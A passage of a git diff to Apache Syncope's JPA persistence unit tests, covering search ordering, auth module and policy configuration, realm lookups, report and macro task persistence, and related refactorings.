AnyCond(AttrCond.Type.ISNOTNULL); + keyCond.setSchema("key"); + + OrderByClause orderByCtype = new OrderByClause(); + orderByCtype.setField("ctype"); + orderByCtype.setDirection(OrderByClause.Direction.DESC); + + List users = searchDAO.search( + SearchCond.getLeaf(keyCond), List.of(orderByCtype), AnyTypeKind.USER); + assertEquals( + List.of("rossini", "vivaldi", "verdi", "puccini", "bellini"), + users.stream().map(User::getUsername).collect(Collectors.toList())); + + AttrCond surnameCond = new AttrCond(AttrCond.Type.ILIKE); + surnameCond.setSchema("surname"); + surnameCond.setExpression("%ini"); + + AttrCond coolCond = new AttrCond(AttrCond.Type.ISNULL); + coolCond.setSchema("cool"); + + // order by ctype even not searching by it + users = searchDAO.search( + SearchCond.getAnd(SearchCond.getLeaf(surnameCond), SearchCond.getLeaf(coolCond)), + List.of(orderByCtype), AnyTypeKind.USER); + assertEquals(2, users.size()); + + // order by unique attribute + OrderByClause orderByFullname = new OrderByClause(); + orderByFullname.setField("fullname"); + orderByFullname.setDirection(OrderByClause.Direction.DESC); + + users = searchDAO.search( + SearchCond.getLeaf(keyCond), List.of(orderByFullname), AnyTypeKind.USER); + assertEquals( + List.of("bellini", "verdi", "rossini", "puccini", "vivaldi"), + users.stream().map(User::getUsername).collect(Collectors.toList())); + } + + @Test + void issueSYNCOPE1922() { + anyUtilsFactory.getInstance(AnyTypeKind.USER).addAttr( + validator, + userDAO.findKey("bellini"), + plainSchemaDAO.find("obscure"), + "myobscurevalue"); + + entityManager().flush(); + + AttrCond cond = new AttrCond(AttrCond.Type.EQ); + cond.setSchema("obscure"); + cond.setExpression("myobscurevalue"); + + assertThrows( + IllegalArgumentException.class, + () -> searchDAO.search(SearchCond.getLeaf(cond), AnyTypeKind.USER)); + } } diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AuthModuleTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AuthModuleTest.java index 0670556a260..08dda7b0d49 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AuthModuleTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AuthModuleTest.java @@ -172,7 +172,7 @@ public void saveWithLdapModule() { conf.setSearchFilter("cn={user}"); conf.setSubtreeSearch(true); conf.setLdapUrl("ldap://localhost:1389"); - conf.setUserIdAttribute("uid"); + conf.setPrincipalAttributeId("uid"); conf.setBindCredential("Password"); saveAuthModule("LDAPAuthModuleTest", conf); @@ -217,7 +217,6 @@ public void saveWithJDBCModule() { JDBCAuthModuleConf conf = new JDBCAuthModuleConf(); conf.setSql("SELECT * FROM table WHERE name=?"); conf.setFieldPassword("password"); - conf.getPrincipalAttributeList().addAll(List.of("sn", "cn:commonName", "givenName")); saveAuthModule("JDBCAuthModuleTest", conf); } diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AuthProfileTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AuthProfileTest.java index bc54c790bd4..19101d0913a 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AuthProfileTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AuthProfileTest.java @@ -24,6 +24,7 @@ import java.time.LocalDateTime; import java.time.OffsetDateTime; +import java.time.ZonedDateTime; import java.util.List; import java.util.Optional; import java.util.stream.Collectors; @@ -212,11 +213,12 @@ private AuthProfile createAuthProfileWithAccount(final String owner) { AuthProfile profile = entityFactory.newEntity(AuthProfile.class); profile.setOwner(owner); GoogleMfaAuthAccount account = new GoogleMfaAuthAccount.Builder() - .registrationDate(OffsetDateTime.now()) + .registrationDate(ZonedDateTime.now()) .scratchCodes(List.of(1, 2, 3, 4, 5)) .secretKey(SecureRandomUtils.generateRandomUUID().toString()) .validationCode(123456) .name(SecureRandomUtils.generateRandomUUID().toString()) + .username(owner) .build(); profile.setGoogleMfaAuthAccounts(List.of(account)); return authProfileDAO.save(profile); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ConnInstanceTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ConnInstanceTest.java index d3f7d319a3e..fc423f583fc 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ConnInstanceTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ConnInstanceTest.java @@ -22,10 +22,8 @@ import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNull; -import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.fail; -import java.io.File; import java.util.HashSet; import java.util.List; import java.util.Set; @@ -90,27 +88,16 @@ public void findById() { } @Test - public void save() throws ClassNotFoundException { + public void save() { ConnInstance connInstance = entityFactory.newEntity(ConnInstance.class); - - connInstance.setLocation(new File(System.getProperty("java.io.tmpdir")).toURI().toString()); - - // set connector version + connInstance.setLocation("file:" + System.getProperty("java.io.tmpdir")); connInstance.setVersion("1.0"); - - // set connector name connInstance.setConnectorName("WebService"); - - // set bundle name connInstance.setBundleName("org.apache.syncope.core.persistence.test.util"); - connInstance.setDisplayName("New"); - connInstance.setConnRequestTimeout(60); - // set the connector configuration using PropertyTO - Set conf = new HashSet<>(); - + // set the connector configuration ConnConfPropSchema endpointSchema = new ConnConfPropSchema(); endpointSchema.setName("endpoint"); endpointSchema.setType(String.class.getName()); @@ -127,10 +114,9 @@ public void save() throws ClassNotFoundException { servicename.setSchema(servicenameSchema); endpoint.getValues().add("Provisioning"); + Set conf = new HashSet<>(); conf.add(endpoint); conf.add(servicename); - - // set connector configuration connInstance.setConf(conf); assertFalse(connInstance.getConf().isEmpty()); @@ -149,11 +135,7 @@ public void save() throws ClassNotFoundException { assertEquals(60, actual.getConnRequestTimeout().intValue()); - conf = connInstance.getConf(); - assertFalse(conf.isEmpty()); - - assertNotNull(conf); - assertTrue(conf.size() == 2); + assertEquals(2, connInstance.getConf().size()); } @Test diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ImplementationTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ImplementationTest.java index 1a8d0194dc2..3a4135a54b0 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ImplementationTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ImplementationTest.java @@ -50,13 +50,13 @@ public void findAll() { assertEquals(1, implementations.size()); implementations = implementationDAO.findByType(IdMImplementationType.PROPAGATION_ACTIONS); - assertEquals(1, implementations.size()); + assertEquals(2, implementations.size()); implementations = implementationDAO.findByType(IdRepoImplementationType.TASKJOB_DELEGATE); assertEquals(6, implementations.size()); - implementations = implementationDAO.findByType(IdRepoImplementationType.REPORTLET); - assertEquals(2, implementations.size()); + implementations = implementationDAO.findByType(IdRepoImplementationType.REPORT_DELEGATE); + assertEquals(1, implementations.size()); implementations = implementationDAO.findByType(IdRepoImplementationType.ACCOUNT_RULE); assertEquals(2, implementations.size()); @@ -64,7 +64,7 @@ public void findAll() { implementations = implementationDAO.findByType(IdRepoImplementationType.PASSWORD_RULE); assertEquals(3, implementations.size()); - implementations = implementationDAO.findByType(IdRepoImplementationType.VALIDATOR); + implementations = implementationDAO.findByType(IdRepoImplementationType.ATTR_VALUE_VALIDATOR); assertEquals(2, implementations.size()); implementations = implementationDAO.findByType(IdMImplementationType.PULL_CORRELATION_RULE); @@ -79,7 +79,7 @@ public void create() { Implementation impl = entityFactory.newEntity(Implementation.class); impl.setKey("new"); impl.setEngine(ImplementationEngine.GROOVY); - impl.setType(IdRepoImplementationType.VALIDATOR); + impl.setType(IdRepoImplementationType.ATTR_VALUE_VALIDATOR); impl.setBody(""); Implementation actual = implementationDAO.save(impl); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/MultitenancyTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/MultitenancyTest.java index 02138dd4a62..0d62ccf2646 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/MultitenancyTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/MultitenancyTest.java @@ -83,8 +83,10 @@ public void readPlainSchemas() { @Test public void readRealm() { - assertEquals(1, realmDAO.findAll().size()); - assertEquals(realmDAO.getRoot(), realmDAO.findAll().get(0)); + assertEquals(1, realmDAO.findDescendants(realmDAO.getRoot().getFullPath(), null, -1, -1).size()); + assertEquals( + realmDAO.getRoot(), + realmDAO.findDescendants(realmDAO.getRoot().getFullPath(), null, -1, -1).get(0)); } @Test diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/PolicyTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/PolicyTest.java index 190b55817a8..d79748f99b2 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/PolicyTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/PolicyTest.java @@ -26,13 +26,13 @@ import java.util.List; import java.util.UUID; -import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.policy.DefaultAccessPolicyConf; import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf; import org.apache.syncope.common.lib.policy.DefaultPasswordRuleConf; import org.apache.syncope.common.lib.policy.DefaultPullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.DefaultPushCorrelationRuleConf; +import org.apache.syncope.common.lib.policy.DefaultTicketExpirationPolicyConf; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.BackOffStrategy; import org.apache.syncope.common.lib.types.ConflictResolutionAction; @@ -42,8 +42,6 @@ import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; import org.apache.syncope.core.persistence.api.dao.PolicyDAO; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.policy.AccessPolicy; import org.apache.syncope.core.persistence.api.entity.policy.AttrReleasePolicy; @@ -55,7 +53,10 @@ import org.apache.syncope.core.persistence.api.entity.policy.PullPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PushCorrelationRuleEntity; import org.apache.syncope.core.persistence.api.entity.policy.PushPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.persistence.jpa.AbstractTest; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; @@ -154,6 +155,10 @@ public void findByType() { List attrReleasePolicies = policyDAO.find(AttrReleasePolicy.class); assertNotNull(attrReleasePolicies); assertEquals(2, attrReleasePolicies.size()); + + List ticketExpirationPolicies = policyDAO.find(TicketExpirationPolicy.class); + assertNotNull(ticketExpirationPolicies); + assertEquals(0, ticketExpirationPolicies.size()); } @Test @@ -272,7 +277,7 @@ public void createAccess() { accessPolicy.setName("AttrReleasePolicyAllowEverything"); DefaultAccessPolicyConf conf = new DefaultAccessPolicyConf(); - conf.getRequiredAttrs().add(new Attr.Builder("cn").value("syncope").build()); + conf.getRequiredAttrs().put("cn", "syncope"); accessPolicy.setConf(conf); accessPolicy = policyDAO.save(accessPolicy); @@ -329,6 +334,34 @@ public void createAttrRelease() { assertEquals(afterCount, beforeCount + 1); } + @Test + public void createTicketExpiration() { + int beforeCount = policyDAO.findAll().size(); + + TicketExpirationPolicy ticketExpirationPolicy = entityFactory.newEntity(TicketExpirationPolicy.class); + ticketExpirationPolicy.setName("TicketExpirationPolicyTest"); + + DefaultTicketExpirationPolicyConf ticketExpirationPolicyConf = new DefaultTicketExpirationPolicyConf(); + DefaultTicketExpirationPolicyConf.TGTConf tgtConf = new DefaultTicketExpirationPolicyConf.TGTConf(); + tgtConf.setMaxTimeToLiveInSeconds(110); + ticketExpirationPolicyConf.setTgtConf(tgtConf); + DefaultTicketExpirationPolicyConf.STConf stConf = new DefaultTicketExpirationPolicyConf.STConf(); + stConf.setMaxTimeToLiveInSeconds(0); + stConf.setNumberOfUses(1); + ticketExpirationPolicyConf.setStConf(stConf); + ticketExpirationPolicy.setConf(ticketExpirationPolicyConf); + + ticketExpirationPolicy = policyDAO.save(ticketExpirationPolicy); + + assertNotNull(ticketExpirationPolicy); + assertNotNull(ticketExpirationPolicy.getKey()); + assertNotNull(((DefaultTicketExpirationPolicyConf) ticketExpirationPolicy.getConf()).getTgtConf()); + assertNotNull(((DefaultTicketExpirationPolicyConf) ticketExpirationPolicy.getConf()).getStConf()); + + int afterCount = policyDAO.findAll().size(); + assertEquals(afterCount, beforeCount + 1); + } + @Test public void update() { PasswordPolicy policy = policyDAO.find("ce93fcda-dc3a-4369-a7b0-a6108c261c85"); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/RealmTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/RealmTest.java index 1ae07640d2c..3f487023366 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/RealmTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/RealmTest.java @@ -27,6 +27,7 @@ import static org.junit.jupiter.api.Assertions.fail; import java.util.List; +import java.util.Set; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.types.EntityViolationType; import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; @@ -95,10 +96,16 @@ public void findChildren() { @Test public void findAll() { - List list = realmDAO.findAll(); + List list = realmDAO.findDescendants(realmDAO.getRoot().getFullPath(), null, -1, -1); assertNotNull(list); assertFalse(list.isEmpty()); list.forEach(Assertions::assertNotNull); + + list = realmDAO.findDescendants(Set.of("/even", "/odd"), null, -1, -1); + assertEquals(3, list.size()); + assertNotNull(list.stream().filter(realm -> "even".equals(realm.getName())).findFirst().orElseThrow()); + assertNotNull(list.stream().filter(realm -> "two".equals(realm.getName())).findFirst().orElseThrow()); + assertNotNull(list.stream().filter(realm -> "odd".equals(realm.getName())).findFirst().orElseThrow()); } @Test @@ -161,10 +168,10 @@ public void delete() { Realm actual = realmDAO.save(realm); assertNotNull(actual); - String id = actual.getKey(); - assertNotNull(realmDAO.find(id)); + actual = realmDAO.find(actual.getKey()); + assertNotNull(actual); - realmDAO.delete(id); - assertNull(realmDAO.find(id)); + realmDAO.delete(actual); + assertNull(realmDAO.find(actual.getKey())); } } diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ReportTemplateTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ReportTemplateTest.java deleted file mode 100644 index e1e2574cf85..00000000000 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ReportTemplateTest.java +++ /dev/null @@ -1,80 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.persistence.jpa.inner; - -import static org.junit.jupiter.api.Assertions.assertFalse; -import static org.junit.jupiter.api.Assertions.assertNotNull; -import static org.junit.jupiter.api.Assertions.assertNull; - -import java.util.List; -import org.apache.syncope.core.persistence.api.dao.ReportTemplateDAO; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; -import org.apache.syncope.core.persistence.jpa.AbstractTest; -import org.junit.jupiter.api.Test; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.transaction.annotation.Transactional; - -@Transactional("Master") -public class ReportTemplateTest extends AbstractTest { - - @Autowired - private ReportTemplateDAO reportTemplateDAO; - - @Test - public void find() { - ReportTemplate optin = reportTemplateDAO.find("sample"); - assertNotNull(optin); - assertNotNull(optin.getFOTemplate()); - assertNotNull(optin.getCSVTemplate()); - assertNotNull(optin.getHTMLTemplate()); - } - - @Test - public void findAll() { - List templates = reportTemplateDAO.findAll(); - assertNotNull(templates); - assertFalse(templates.isEmpty()); - } - - @Test - public void save() { - ReportTemplate template = entityFactory.newEntity(ReportTemplate.class); - template.setKey("new"); - template.setCSVTemplate( - ""); - - ReportTemplate actual = reportTemplateDAO.save(template); - assertNotNull(actual); - assertNotNull(actual.getKey()); - assertNotNull(actual.getCSVTemplate()); - assertNull(actual.getHTMLTemplate()); - - actual.setHTMLTemplate( - ""); - actual = reportTemplateDAO.save(actual); - assertNotNull(actual.getCSVTemplate()); - assertNotNull(actual.getHTMLTemplate()); - } - - @Test - public void delete() { - reportTemplateDAO.delete("sample"); - assertNull(reportTemplateDAO.find("sample")); - } -} diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ReportTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ReportTest.java index 64364f761c9..a2339267994 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ReportTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ReportTest.java @@ -24,16 +24,11 @@ import java.util.List; import java.util.UUID; -import org.apache.syncope.common.lib.report.UserReportletConf; -import org.apache.syncope.common.lib.types.IdRepoImplementationType; -import org.apache.syncope.common.lib.types.ImplementationEngine; +import javax.ws.rs.core.MediaType; import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; import org.apache.syncope.core.persistence.api.dao.ReportDAO; -import org.apache.syncope.core.persistence.api.dao.ReportTemplateDAO; -import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.Report; import org.apache.syncope.core.persistence.jpa.AbstractTest; -import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.transaction.annotation.Transactional; @@ -44,9 +39,6 @@ public class ReportTest extends AbstractTest { @Autowired private ReportDAO reportDAO; - @Autowired - private ReportTemplateDAO reportTemplateDAO; - @Autowired private ImplementationDAO implementationDAO; @@ -63,33 +55,19 @@ public void find() { public void findAll() { List reports = reportDAO.findAll(); assertNotNull(reports); - assertEquals(2, reports.size()); + assertEquals(1, reports.size()); } @Test public void save() { - Implementation reportlet1 = entityFactory.newEntity(Implementation.class); - reportlet1.setKey("UserReportlet" + UUID.randomUUID().toString()); - reportlet1.setEngine(ImplementationEngine.JAVA); - reportlet1.setType(IdRepoImplementationType.REPORTLET); - reportlet1.setBody(POJOHelper.serialize(new UserReportletConf("first"))); - reportlet1 = implementationDAO.save(reportlet1); - - Implementation reportlet2 = entityFactory.newEntity(Implementation.class); - reportlet2.setKey("UserReportlet" + UUID.randomUUID().toString()); - reportlet2.setEngine(ImplementationEngine.JAVA); - reportlet2.setType(IdRepoImplementationType.REPORTLET); - reportlet2.setBody(POJOHelper.serialize(new UserReportletConf("second"))); - reportlet2 = implementationDAO.save(reportlet2); - int beforeCount = reportDAO.findAll().size(); Report report = entityFactory.newEntity(Report.class); report.setName("new report"); + report.setJobDelegate(implementationDAO.find("SampleReportJobDelegate")); + report.setMimeType(MediaType.TEXT_PLAIN); + report.setFileExt("txt"); report.setActive(true); - report.add(reportlet1); - report.add(reportlet2); - report.setTemplate(reportTemplateDAO.find("sample")); report = reportDAO.save(report); assertNotNull(report); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ResourceTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ResourceTest.java index 0cd2b02fdb3..0177040968f 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ResourceTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/ResourceTest.java @@ -82,6 +82,13 @@ public void findById() { } } + @Test + public void findByConnInstance() { + List resources = resourceDAO.findByConnInstance("88a7a819-dab5-46b4-9b90-0b9769eabdb8"); + assertEquals(6, resources.size()); + assertTrue(resources.contains(resourceDAO.find("ws-target-resource-1"))); + } + @Test public void findWithOrgUnit() { ExternalResource resource = resourceDAO.find("resource-ldap-orgunit"); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/SAML2SPEntityTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/SAML2SPEntityTest.java index 371c064ef97..6341009dc3a 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/SAML2SPEntityTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/SAML2SPEntityTest.java @@ -34,7 +34,6 @@ import java.security.cert.CertificateFactory; import java.util.Date; import java.util.UUID; -import org.apache.commons.io.IOUtils; import org.apache.syncope.core.persistence.api.dao.SAML2SPEntityDAO; import org.apache.syncope.core.persistence.api.entity.am.SAML2SPEntity; import org.apache.syncope.core.persistence.jpa.AbstractTest; @@ -135,7 +134,7 @@ public void update() throws Exception { private SAML2SPEntity create(final String owner) throws Exception { SAML2SPEntity entity = entityFactory.newEntity(SAML2SPEntity.class); entity.setKey(owner); - entity.setMetadata(IOUtils.toByteArray(new ClassPathResource("sp-metadata.xml").getInputStream())); + entity.setMetadata(new ClassPathResource("sp-metadata.xml").getInputStream().readAllBytes()); KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType()); char[] pwdArray = "password".toCharArray(); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/SRARouteTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/SRARouteTest.java index e3505e12111..439ef75ecc5 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/SRARouteTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/SRARouteTest.java @@ -65,7 +65,7 @@ public void findAll() { public void save() { SRARoute route = entityFactory.newEntity(SRARoute.class); route.setName("just for test"); - route.setTarget(URI.create("http://httpbin.org:80")); + route.setTarget(URI.create("http://localhost:80")); route.setType(SRARouteType.PUBLIC); route.setPredicates(List.of(new SRARoutePredicate.Builder(). factory(SRARoutePredicateFactory.METHOD).args(HttpMethod.GET).build())); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/TaskTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/TaskTest.java index 3730127b4da..4edb9705f13 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/TaskTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/TaskTest.java @@ -23,22 +23,37 @@ import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNull; import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; import java.util.HashSet; import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Optional; import java.util.Set; import java.util.stream.Collectors; import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.form.FormPropertyType; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.common.lib.types.IdRepoImplementationType; +import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.lib.types.ResourceOperation; import org.apache.syncope.common.lib.types.TaskType; +import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; +import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.TaskDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.persistence.api.entity.task.FormPropertyDef; +import org.apache.syncope.core.persistence.api.entity.task.MacroTask; +import org.apache.syncope.core.persistence.api.entity.task.MacroTaskCommand; import org.apache.syncope.core.persistence.api.entity.task.PropagationData; import org.apache.syncope.core.persistence.api.entity.task.PropagationTask; +import org.apache.syncope.core.persistence.api.entity.task.SchedTask; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.persistence.jpa.AbstractTest; import org.apache.syncope.core.spring.security.SyncopeAuthenticationDetails; @@ -64,6 +79,19 @@ public class TaskTest extends AbstractTest { @Autowired private UserDAO userDAO; + @Autowired + private RealmDAO realmDAO; + + @Autowired + private ImplementationDAO implementationDAO; + + @Test + public void findByName() { + Optional task = taskDAO.findByName(TaskType.SCHEDULED, "SampleJob Task"); + assertTrue(task.isPresent()); + assertEquals(taskDAO.find(TaskType.SCHEDULED, "e95555d2-1b09-42c8-b25b-f4c4ec597979"), task.get()); + } + @Test public void findWithoutExecs() { List tasks = taskDAO.findToExec(TaskType.PROPAGATION); @@ -146,6 +174,62 @@ public void savePropagationTask() { assertEquals(task, actual); } + @Test + public void saveMacroTask() throws Exception { + MacroTask task = entityFactory.newEntity(MacroTask.class); + task.setRealm(realmDAO.getRoot()); + task.setJobDelegate(implementationDAO.find("MacroJobDelegate")); + task.setName("Macro test"); + task.setContinueOnError(true); + + Implementation command = entityFactory.newEntity(Implementation.class); + command.setKey("command"); + command.setType(IdRepoImplementationType.COMMAND); + command.setEngine(ImplementationEngine.JAVA); + command.setBody("clazz"); + command = implementationDAO.save(command); + assertNotNull(command); + + MacroTaskCommand macroTaskCommand = entityFactory.newEntity(MacroTaskCommand.class); + macroTaskCommand.setCommand(command); + macroTaskCommand.setMacroTask(task); + task.add(macroTaskCommand); + + FormPropertyDef formPropertyDef = entityFactory.newEntity(FormPropertyDef.class); + formPropertyDef.setName("one"); + formPropertyDef.getLabels().put(Locale.ENGLISH, "One"); + formPropertyDef.setType(FormPropertyType.Enum); + task.add(formPropertyDef); + + Implementation macroActions = entityFactory.newEntity(Implementation.class); + macroActions.setKey("macroActions"); + macroActions.setType(IdRepoImplementationType.MACRO_ACTIONS); + macroActions.setEngine(ImplementationEngine.JAVA); + macroActions.setBody("clazz"); + macroActions = implementationDAO.save(macroActions); + assertNotNull(macroActions); + task.setMacroAction(macroActions); + + try { + taskDAO.save(task); + fail(); + } catch (InvalidEntityException e) { + assertNotNull(e); + } + formPropertyDef.setEnumValues(Map.of("key", "value")); + + task = (MacroTask) taskDAO.save(task); + assertNotNull(task); + assertEquals(1, task.getCommands().size()); + assertEquals(command, task.getCommands().get(0).getCommand()); + assertEquals(1, task.getFormPropertyDefs().size()); + assertNotNull(task.getFormPropertyDefs().get(0).getKey()); + assertEquals(formPropertyDef, task.getFormPropertyDefs().get(0)); + + MacroTask actual = (MacroTask) taskDAO.find(TaskType.MACRO, task.getKey()); + assertEquals(task, actual); + } + @Test public void delete() { PropagationTask task = taskDAO.find(TaskType.PROPAGATION, "1e697572-b896-484c-ae7f-0c8f63fcbc6c"); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/UserTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/UserTest.java index bb9a7919cdf..544915d7acc 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/UserTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/UserTest.java @@ -31,7 +31,6 @@ import java.util.List; import java.util.Optional; import org.apache.syncope.common.lib.types.CipherAlgorithm; -import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; import org.apache.syncope.core.persistence.api.dao.DerSchemaDAO; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; @@ -87,8 +86,8 @@ public void find() { assertNull(user.getSecurityQuestion()); assertNull(user.getSecurityAnswer()); assertEquals("admin", user.getCreator()); - assertEquals("Giacomo", user.getPlainAttr("firstname").get().getValuesAsStrings().get(0)); - assertEquals("Puccini", user.getPlainAttr("surname").get().getValuesAsStrings().get(0)); + assertEquals("Giacomo", user.getPlainAttr("firstname").orElseThrow().getValuesAsStrings().get(0)); + assertEquals("Puccini", user.getPlainAttr("surname").orElseThrow().getValuesAsStrings().get(0)); } @Test @@ -201,42 +200,6 @@ public void findMembership() { assertEquals("1417acbe-cbf6-4277-9372-e75e04f97000", memb.getLeftEnd().getKey()); } - @Test - public void saveInvalidPassword() { - User user = entityFactory.newEntity(User.class); - user.setUsername("username"); - user.setRealm(realmDAO.findByFullPath("/even/two")); - user.setCreator("admin"); - 